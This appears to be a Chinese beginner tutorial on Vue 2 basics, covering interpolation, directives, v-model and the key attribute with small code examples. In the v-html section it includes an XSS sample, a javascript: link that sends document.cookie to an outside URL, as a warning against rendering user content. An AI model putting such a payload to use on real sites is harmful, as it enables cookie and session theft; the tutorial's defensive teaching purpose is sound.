Vue基础
安装
直接下载并用
#CDN
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
Vue Devtools
在使用Vue时，推荐在浏览器上安装Vue Devtools。它允许你在一个更友好的界面中审查和调试Vue应用
介绍
Vue是一套用于构建用户界面的渐进式JavaScript框架
特点
- 遵循MVVM模式，无需操作DOM来更新视图。（我们只需要关心如何获取数据，如何处理数据，将处理好的数据交给Vue，Vue会自动将数据渲染到页面中）
- 编码简洁，体积小，运行效率高
- 可以轻松引入一些第三方库和Vue插件
使用
1.简单使用
Vue.js 的核心是一个允许采用简洁的模板语法来声明式地将数据渲染进 DOM 的系统：
<div id="app">
{{msg}}
</div>
//每个 Vue 的应用都是通过用 Vue 函数创建一个新的 Vue 实例开始的
const vm = new Vue({
el:"#app", //控制区域
data:{ //为模板提供数据
msg:"Hello World"
}
})
【注意】 1.需要引入vue.js才可以实现
2. el的值可以是css选择器，也可以是元素节点
运行效果展示：
打开浏览器的控制台（此页面），并修改vm.msg的值，上例相应也会更新
2.插值表达式
语法：{{ 数据/表达式 }}
功能：向页面渲染数据或表达式的结果
插值表达式会自动将vue实例中的data属性中的数值取出，渲染到页面上
<div id="app">
{{Math.floor(10.1)}}
{{Date.now()}}
{{age>18?"欢迎来到本网咖":"后门悄悄进"}}
</div>
const vm = new Vue({
el:"#app",
data:{
age:20
}
})
【注意】不可以写js语句
运行效果展示：
3.数据绑定
数据单项绑定：
将model绑定到view，用js代码更新数据时，view会自动更新，不需要额外的DOM操作
常见的单项绑定：{{}} v-bind
数据的双向绑定：
将model绑定到view的同时，也将view绑定到model
在input textarea等表单元素上使用v-model指令来进行双向数据绑定
<div id="app">
<input type="text" v-model="msg">
{{msg}}
</div>
const vm = new Vue({
el: "#app",
data: {
msg: "学习Vue"
}
})
在控制台更改vm.msg的值或者更改input框中的值都会发生相同改变
4.Vue指令
指令： 以 v- 开头的的自定义标签属性
v-text
v-text ： 将data中的数据渲染到绑定的标签中
【注意】v-text : 会替换标签中的原本内容，{{}}相当于占位符，只会替换自己本身
v-html
v-html : 将data中的数据渲染到绑定的标签中，v-html会解析数据中的html代码
【注意】在网站上动态渲染任意 HTML 是非常危险的，因为容易导致 XSS 攻击，只在可信内容上使用v-html，永不在用户提交的内容上
用户提交的东西，一定要做好验证
<div id="app">
<p v-text="msg">hello world</p>
<p v-html="msg">hello world</p>
<p v-html="xss"></p>
</div>
const vm = new Vue({
el:"#app",
data:{
msg:"<h1>雪</h1>"，
xss:`<a href=\"javascript:location.href='http:\/\/www.baidu.com?cookie='+document.cookie">年入百万小秘诀</a>`
}
})
运行效果展示：
v-bind
v-bind : 动态更新html元素上的属性 id css style src
语法糖写法： :属性名=“绑定的数据”
css
.red{
color:red;
}
.blue {
color: blue;
}
<div id="app">
<img v-bind:src="url">
<!-- 简写方式 -->
<p :class="mycolor">懂的都懂</p>
</div>
const vm =new Vue({
el:"#app",
data:{
url:"./img/1.jpg",
mycolor:"red"
}
})
运行效果展示：
打开浏览器的 JavaScript 控制台，输入 vm.url = './img/2.jpg'，就会再一次看到这个绑定了 src属性 的 HTML 已经进行了更新。p标签也是如此
v-on
写法：v-on : 事件类型="函数名称"
语法糖写法 ： @事件类型=“函数名称”
修饰符： @事件类型.修饰符 = 函数名
vue 提供了几个事件的修饰符，让我们更方便的对事件进行处理
.prevent 阻止浏览器默认行为
.stop 阻止冒泡
.once 只触发一次
<div id="app">
<button v-on:click="fn()">提交</button>
<a href="https://www.baidu.com/" @click.prevent="fn2('禁止跳转')">百度</a>
<a href="https://www.google.cn/" @click.prevent.once="fn2('禁止跳转')">谷歌</a>
</div>
new Vue({
el:"#app",
methods:{
fn(){
alert("点击了提交按钮")
},
fn2(msg){
alert(msg)
},
fn3(msg){
alert(msg)
}
}
})
运行结果： 按钮–提交弹出警示框：点击了提交按钮
百度链接：弹出警示框：禁止跳转（一直）
谷歌链接：弹出警示框：禁止跳转（触发一次，第二次跳转页面）
v-if（条件渲染：满足一定的条件，模板才会渲染到页面上）
v-if ：如果 v-if 的值是true则渲染元素，如果为false就不渲染元素（DOM元素直接不存在）
v-else : 需配合 v-if 来使用，不可以单独使用，且两个标签之间不可以有别的标签
v-else-if ：也需要配合 v-if 来使用，不可以单独使用，且两个标签之间不可以有别的标签
<div id="app">
<p v-if="age>18">欢迎来到斗鱼网咖</p>
<p v-else> 嘘！从后门悄悄的进去</p>
<p v-if="state==0">未付款</p>
<p v-else-if="state==1">待发货</p>
<p v-else-if="state==2">已发货</p>
<p v-else-if="state==3">已签收</p>
<p v-else>对不起，丢件了</p>
</div>
new Vue({
el:"#app",
data:{
age:20,
state:0 //state 0未付款 1待发货 2已发货 3已签收
}
})
运行后在控制台更改 state 的值，HTML页面也会进行相应的更新
v-show
v-show ：如果 v-show 的值为true则渲染元素，如果为false就不渲染元素（为元素添加了 display：none）
<div id="app">
<p v-show="age>18">欢迎来到斗鱼网咖</p>
</div>
new Vue({
el:"#app",
data:{
age:20
}
})
v-if 和 v-show 区别
v-if : 为false是不创建元素，v-show为false是隐藏元素
v-if 和 v-show : 如果需要判断切换元素的隐藏和显示，则使用v-show,其余情况都是用v-if
v-for(列表渲染指令)
v-for ：当需要一个数组遍历或枚举一个对象的属性时，我们可以使用v-for指令，有点类似for循环
v-for=“变量名 in 数组”
v-for 还可以传第二个参数作为当前元素的索引
<div id="app">
<button @click="fn">修改数据</button>
<ul>
<li v-for="(item,index) in users" :data="item">{{index}}--{{item}}</li>
</ul>
</div>
new Vue({
el:"app",
data:{
users:["刘备","关羽","张飞","赵云"]
},
methods:{
fn(){
// this.users.reverse()
// this.users[3] = '关胜';
Vue.set(this.users,3,"诸葛亮")
}
}
})
运行效果展示：
点击修改数据按钮，3–赵云 会更改为 3–诸葛亮
【注】数组的更新：
数组的一些方法并不会修改原数组，所以使用这些方法并不会让试图更新
filter 过滤 concat 合并 slice 截图
【注意】通过索引直接设置数组的元素，是不能被vue监听到的，因为vue监听的是数组的变化
【解决办法】：使用Vue内置的set方法
Vue.set(要设置的数组，要修改的元素的索引，要修改的内容)
v-once
v-once ：定义v-once的元素组件只渲染一次
元素/组件及其所有的子节点将被视为静态内容并跳过
<div id="app">
<div v-once>
{{msg}}
<p>{{msg}}</p>
</div>
<p>{{msg}}</p>
</div>
new Vue({
el:"#app",
data:{
msg:"学习Vue"
}
})
此时在Vue Devtools中修改msg的值会发现只有最后一个p标签被修改
v-model
实现双向绑定，常用于表单元素
v-model ：radio (单选框)
<div id="app">
选择一个你最喜欢的明星：
<!-- input后面的文字 只是对input元素的解释说明，是给用户看到。input的值由它的value属性来决定 -->
<input type="radio" v-model="inputData" value="迪丽热巴">迪丽热巴
<input type="radio" v-model="inputData" value="古力娜扎">古力娜扎
<input type="radio" v-model="inputData" value="哈妮克孜">哈妮克孜
</div>
new Vue({
el:"#app",
data:{
inputData:""
}
})
运行结果展示：
v-model ：checkbox (复选框)
复选框：在vue中复选框可以分为单独使用和组合使用
单独使用：比如 同意协议，data中绑定的数据是一个布尔值，选中的时候，值为true，反之为false
组合使用：v-model需要和value一起使用，同时绑定的数据必须是一个数组的类型，同一组的复选框必须绑定同一个数据
<div id="app">
<!-- 单独使用 -->
<!-- <input type="checkbox" v-model="isChecked">同意协议
<p>选择的状态是：{{isChecked}}</p> -->
<!-- 组合使用 -->
<p>选择一个您喜欢的城市</p>
<input type="checkbox" v-model="checkData" value="濮阳">濮阳
<input type="checkbox" v-model="checkData" value="洛阳">洛阳
<input type="checkbox" v-model="checkData" value="南阳">南阳
<input type="checkbox" v-model="checkData" value="安阳">安阳
<input type="checkbox" v-model="checkData" value="信阳">信阳
<p>您选择的是：{{checkData}}</p>
</div>
new Vue({
el: "#app",
data: {
// isChecked: false
//给复选框一个默认的值
checkData: ['濮阳']
}
})
v-model ：select (下拉框)
下拉框的数据绑定是绑定在select标签上的
<div id="app">
请选择您喜欢的动漫：
<!-- multiple 属性规定输入字段可选择多个值。（需要使用ctrl或者shift键） -->
<select v-model="selectData" multiple>
<!-- option中有value时，数据会优先匹配value中的值，没有value匹配的是option中的文本 -->
<option value="">--请选择--</option>
<option value="斗破苍穹">斗破苍穹</option>
<option value="斗罗大陆">斗罗大陆</option>
<option value="完美世界">完美世界</option>
<option value="秦时明月">秦时明月</option>
</select>
<p>{{selectData}}</p>
</div>
new Vue({
el: "#app",
data: {
//如果想要让下拉框有一个默认选中的值，只需要给数据添加一个默认值就可以了。
selectData: "斗破苍穹"
}
})
5.修饰符
表单修饰符：v-model.修饰符
.number : 值为数字，如果输入了非法数字，当表单元素失去焦点时，输入内容会自动转数字（相当于调用了parseInt）
.trim : 去除空格，常用于用户名的去除空格
<div id="app">
用户名：<input type="text" v-model.trim="username">
年龄：<input type="text" v-model.number="age">
</div>
new Vue({
el: "#app",
data: {
username: "lisi",
age: 20
}
})
打开Vue Devtools 在input框中输入空格或非法数字，会发现值并未更新
6.特殊attribute（属性）
key的特殊attribute主要用在 Vue 的虚拟 DOM 用法
有相同父元素的子元素必须有独特的 key。重复的 key 会造成渲染错误。
key的作用：为每一个节点添加一个唯一的标识，Diff算法就会根据key值进行正确的识别
<div id="app">
<form>
<p>书名：<input type="text" v-model="bookName"></p>
<p><input type="submit" value="添加" @click.prevent="add"></p>
</form>
<ul>
<li v-for="(item,index) in books" :key="index"><input type="checkbox">
{{item.name}}
<button @click="del(index)">删除</button>
</li>
</ul>
</div>
var vm = new Vue({
el: '#app',
data: {
id: 4,
bookName: "",
books: [{id: 1,name: "明克街13号" },
{id: 2,name: "我的云养女友"},
{id: 3,name: "星门"}]
},
methods: {
//点击 添加 按钮触发add函数
add() {
//生成一个新的book对象
let book = {
id: this.id,
name: this.bookName
};
//新的对象产生，id自增，防止id重复。
this.id++;
//添加到books中， books一旦变化，页面会自动更新。
this.books.push(book);
//清空输入框文本
this.bookName = "";
},
del(index) {
//实现删除功能
this.books.splice(index, 1);
}
}
});
【注意】不能使用index作为key的值，index永远是连续的，是有可能变化的，所以不能使用变化的值作为key的值
171
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
